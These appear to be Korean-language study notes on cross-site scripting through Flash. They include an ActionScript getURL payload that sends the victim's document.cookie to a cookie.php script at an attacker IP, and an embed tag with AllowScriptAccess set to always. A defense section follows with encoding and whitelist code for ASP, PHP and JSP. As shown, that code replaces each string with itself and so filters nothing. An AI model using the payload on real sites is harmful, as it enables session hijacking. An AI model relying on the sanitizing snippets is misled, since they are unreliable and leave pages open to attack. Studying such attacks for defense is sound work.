Macromedia flash8 설치
professional
이미지에
getURL("javascript:document.location='http://192.168.0.140/cookie.php?data='+document.cookie");
.fla -> swf로 컴파일
----------
<embed src="http://192.168.0.140[공격자IP]/test.swf" AllowScriptAccess="always"></embed>
<embed> : mp3, sef 등의 확장자를 가진 파일을 인터넷에 재생기켜주는 태그
-> src 속성이 있어야 재생 가능
웹 페이지의 플래시 컨텐츠는 HTML code로부터 플래시 플레이어에 대한 스크립트
수락 또는 거부를 하기 위해 AllowscriptAccess 속성을 쓴다
AllowScripAccess="always" - 수락
AllowScripAccess="never" - 거부
플래시에서 사용하는 actionscript 함수인 geturl:
응용프로그램에서 변수를 로드시키거나
문서를 임의의 윈도우 브라우저로 로드시킴
-----------
방어
화이트리스트 방식
: 안전이 증명된 것만 허용하겠다라는 의미
-> 악의성이 없고, 검증된 것들만 허용
(관리자가 허용한 것들)
1. HTML 지원 하지 않음
ASP - server.htmlencode(content)
PHP - htmlentites()
JSP - content = content.replaceAll("<","<");
content = content.replaceAll(">",">");
-> contents = server.htmlencode(contents)
-> 글쓰기 소스와, 수정 소스 둘다 인코딩 적용해주어야 함
2. HTML을 화이트 리스트 방식 허용
ASP - content = replace(content,"<p>","<p>")
content = replace(content,"<P>","<P>")
content = replace(content,"<br>","<br>")
content = replace(content,"<BR>","<BR>")
PHP - $content = str_replace("<p>","<p>",$content);
$content = str_replace("<P>","<P>",$content);
$content = str_replace("<br>","<br>",$content);
$content = str_replace("<BR>","<BR>",$content);
JSP - content = content.replaceAll("<p>","<p>");
content = content.replaceAll("<P>","<P>");
content = content.replaceAll("<br>","<br>");
content = content.replaceAll("<BR>","<BR>");
-> 우회 가능
5. 어떻게 보안 할 수 있나?
embed 태그 적용 금지
html encoding 적용 (화이트 리스트 방식)
팝업 차단